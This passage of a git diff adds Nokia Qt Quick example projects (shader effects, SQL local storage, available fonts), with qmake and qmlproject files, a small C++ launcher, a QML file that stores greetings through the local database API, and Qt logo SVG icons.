+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+QT += declarative opengl
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+symbian {
+ DEFINES += SHADEREFFECTS_USE_OPENGL_GRAPHICSSYSTEM
+}
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/shadereffects
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/shadereffects/shadereffects.qmlproject b/examples/declarative/shadereffects/shadereffects.qmlproject
new file mode 100644
index 00000000..112be81a
--- /dev/null
+++ b/examples/declarative/shadereffects/shadereffects.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/shadereffects"
+ }
+ JavaScriptFiles {
+ directory: "qml/shadereffects"
+ }
+ ImageFiles {
+ directory: "qml/shadereffects"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+} \ No newline at end of file
diff --git a/examples/declarative/sqllocalstorage/main.cpp b/examples/declarative/sqllocalstorage/main.cpp
new file mode 100644
index 00000000..a4b63171
--- /dev/null
+++ b/examples/declarative/sqllocalstorage/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/sqllocalstorage/hello.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/sqllocalstorage/qml/sqllocalstorage/hello.qml b/examples/declarative/sqllocalstorage/qml/sqllocalstorage/hello.qml
new file mode 100644
index 00000000..cef50c38
--- /dev/null
+++ b/examples/declarative/sqllocalstorage/qml/sqllocalstorage/hello.qml
@@ -0,0 +1,77 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ color: "white"
+ width: 200
+ height: 100
+
+ Text {
+ text: "?"
+ anchors.horizontalCenter: parent.horizontalCenter
+ function findGreetings() {
+ var db = openDatabaseSync("QDeclarativeExampleDB", "1.0", "The Example QML SQL!", 1000000);
+
+ db.transaction(
+ function(tx) {
+ // Create the database if it doesn't already exist
+ tx.executeSql('CREATE TABLE IF NOT EXISTS Greeting(salutation TEXT, salutee TEXT)');
+
+ // Add (another) greeting row
+ tx.executeSql('INSERT INTO Greeting VALUES(?, ?)', [ 'hello', 'world' ]);
+
+ // Show all added greetings
+ var rs = tx.executeSql('SELECT * FROM Greeting');
+
+ var r = ""
+ for(var i = 0; i < rs.rows.length; i++) {
+ r += rs.rows.item(i).salutation + ", " + rs.rows.item(i).salutee + "\n"
+ }
+ text = r
+ }
+ )
+ }
+
+ Component.onCompleted: findGreetings()
+ }
+}
+//![0]
diff --git a/examples/declarative/sqllocalstorage/sqllocalstorage.pro b/examples/declarative/sqllocalstorage/sqllocalstorage.pro
new file mode 100644
index 00000000..99f40a72
--- /dev/null
+++ b/examples/declarative/sqllocalstorage/sqllocalstorage.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/sqllocalstorage
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xEDAF6502
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/sqllocalstorage
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/sqllocalstorage/sqllocalstorage.qmlproject b/examples/declarative/sqllocalstorage/sqllocalstorage.qmlproject
new file mode 100644
index 00000000..c0acf685
--- /dev/null
+++ b/examples/declarative/sqllocalstorage/sqllocalstorage.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/sqllocalstorage"
+ }
+ JavaScriptFiles {
+ directory: "qml/sqllocalstorage"
+ }
+ ImageFiles {
+ directory: "qml/sqllocalstorage"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/sqllocalstorage/sqllocalstorage.svg b/examples/declarative/sqllocalstorage/sqllocalstorage.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/sqllocalstorage/sqllocalstorage.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/sqllocalstorage/sqllocalstorage64.png b/examples/declarative/sqllocalstorage/sqllocalstorage64.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/sqllocalstorage/sqllocalstorage64.png
Binary files differ
diff --git a/examples/declarative/sqllocalstorage/sqllocalstorage80.png b/examples/declarative/sqllocalstorage/sqllocalstorage80.png
new file mode 100644
index 00000000..6ad8096c
--- /dev/null
+++ b/examples/declarative/sqllocalstorage/sqllocalstorage80.png
Binary files differ
diff --git a/examples/declarative/text/fonts/availableFonts/availableFonts.png b/examples/declarative/text/fonts/availableFonts/availableFonts.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/text/fonts/availableFonts/availableFonts.png
Binary files differ
diff --git a/examples/declarative/text/fonts/availableFonts/availableFonts.pro b/examples/declarative/text/fonts/availableFonts/availableFonts.pro
new file mode 100644
index 00000000..2d8078a0
--- /dev/null
+++ b/examples/declarative/text/fonts/availableFonts/availableFonts.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/availableFonts
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE696D9F7
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/text/fonts/availableFonts
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/text/fonts/availableFonts/availableFonts.qmlproject b/examples/declarative/text/fonts/availableFonts/availableFonts.qmlproject
new file mode 100644
index 00000000..e52f9a83
--- /dev/null
+++ b/examples/declarative/text/fonts/availableFonts/availableFonts.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/availableFonts"
+ }
+ JavaScriptFiles {
+ directory: "qml/availableFonts"
+ }
+ ImageFiles {
+ directory: "qml/availableFonts"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/text/fonts/availableFonts/availableFonts.svg b/examples/declarative/text/fonts/availableFonts/availableFonts.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/text/fonts/availableFonts/availableFonts.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 